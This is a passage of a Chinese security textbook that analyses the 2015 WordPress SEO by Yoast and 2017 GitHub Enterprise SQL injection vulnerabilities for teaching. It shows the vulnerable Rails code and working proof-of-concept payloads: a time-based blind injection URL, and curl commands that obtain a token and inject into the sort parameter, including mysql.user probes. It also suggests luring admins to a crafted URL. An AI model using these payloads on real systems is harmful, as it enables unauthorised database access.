4.2.4 近年典型SQL注入事件分析

1.wordpress SEO插件曝出危SQL注入漏洞

2015年,全球最流行的CMS应用wordpress插件(见图4-12)wordpress SEO by Yoast曝出高危SQL注入漏洞,该插件使用频率相当高,用户高达上千万。wordpress SEO by Yoast插件是wordpress平台下非常流行的SEO插件,在Yoast网站上拥有1400万次的下载量。该漏洞是wordpress漏洞扫描器“WPScan”开发者Ryan Dewhurst发现的——1.7.3.3之前版本的wordpress SEO by Yoast都会受到SQL盲注Web应用程序漏洞的影响。SQL注入漏洞之所以被标记为高危漏洞,是因为它可能会导致大量数据和敏感信息泄露。通常,在SQL注入攻击中,攻击者会通过客户端在应用程序中输入一个畸形的SQL请求。

图4-12 wordpress插件SEO

该漏洞仅影响wordpress内部用户,因为该漏洞存在于admin/class-bulk-editor-list-table.php文件中,而此文件只有wordpress管理员、编辑和特权作者才能访问。为了成功利用这一漏洞,攻击者需要从授权用户(管理员、编辑、作者)处着手。当然授权用户是不会乖乖帮你攻击东家的,这就需要社会工程学的帮助了,攻击者可以欺骗用户进入一个精心编写的URL中,如果授权用户成为了此次攻击的受害者,那么攻击者就可利用此漏洞在受害者的wordpress网站上执行任意SQL请求。

Ryan提供了一个SQL盲注漏洞的poc:


http://victim-wordpress-website.com/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc

2.GitHub企业版SQL注入漏洞

2017年GitHub企业版(见图4-13)被曝出具有SQL注入漏洞。这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根本原因在于/data/GitHub/current/app/model/pre_receive_hook_target.rb文件的第45行:

图4-13 github图片


scope :sorted_by, -> (order, direction = nil) {
    direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
    select(<<-SQL)
        #{table_name}.*,
        CASE hookable_type
                    WHEN 'global'     THEN 0
                WHEN 'User'       THEN 1
                WHEN 'Repository' THEN 2
        END AS priority
    SQL
        .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
        .readonly(false)
        .order([order, direction].join(" "))
}

虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作,但一些ActiveRecord的误用实例同样会引起SQL注入。在该漏洞情况中,我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现,服务sorted_by被data/GitHub/current/app/api/org_pre_receive_hooks.rb文件的第61行调用:


get "/organizations/:organization_id/pre-receive-hooks" do
    control_access :list_org_pre_receive_hooks,  rg => org = find_org!
    @documentation_url << "#list-pre-receive-hooks"
    targets = PreReceiveHookTarget.visible_for_hookable(org)
    targets = sort(targets).paginate(pagination)
    github::PrefillAssociations.for_pre_receive_hook_targets targets
    deliver :pre_receive_org_target_hash, targets
end
def sort(scope)
    scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
end

可以清楚地看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试着向params[:sort]注入恶意代码。在触发该漏洞之前,接入API需要admin:pre_receive_hook函数具备一个有效的access_token值,我们可以通过以下命令来获取:


$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
    "id": 4,
    "url": "https://192.168.187.145/api/v3/authorizations/4",
    "app": {
        "name": "x",
        "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
        "client_id": "00000000000000000000"
    },
    "token": "????????",
    "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
    "token_last_eight": "1fadac36",
    "note": "x",
    "note_url": null,
    "created_at": "2017-01-05T22:17:32Z",
    "updated_at": "2017-01-05T22:17:32Z",
    "scopes": [
        "admin:pre_receive_hook"
    ],
    "fingerprint": null
}

一旦获取到有效的access_token值之后,漏洞就会被触发:


$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
    "message": "Server Error",
    "documentation_url": 
"https://developer.github.com/enterprise/2.8/v3/orgs/pre _receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{

}